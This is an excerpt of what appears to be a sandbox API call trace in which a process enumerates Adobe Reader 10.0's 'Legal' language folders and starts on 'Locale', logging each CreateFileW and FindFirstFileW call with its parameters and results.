	[0054.005] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.005] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.006] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.006] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.007] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.007] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.008] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.008] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.009] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.009] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.010] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.011] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.011] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.011] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.012] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.012] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.012] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.012] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.013] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.013] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.014] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.014] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.015] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.015] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.016] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.017] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.017] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.017] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.018] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.019] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.019] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.020] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.020] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.021] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.021] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.022] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.022] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.022] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.023] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.023] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.023] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.024] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.024] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.024] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.025] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.025] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.025] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.025] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.026] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.026] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.029] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
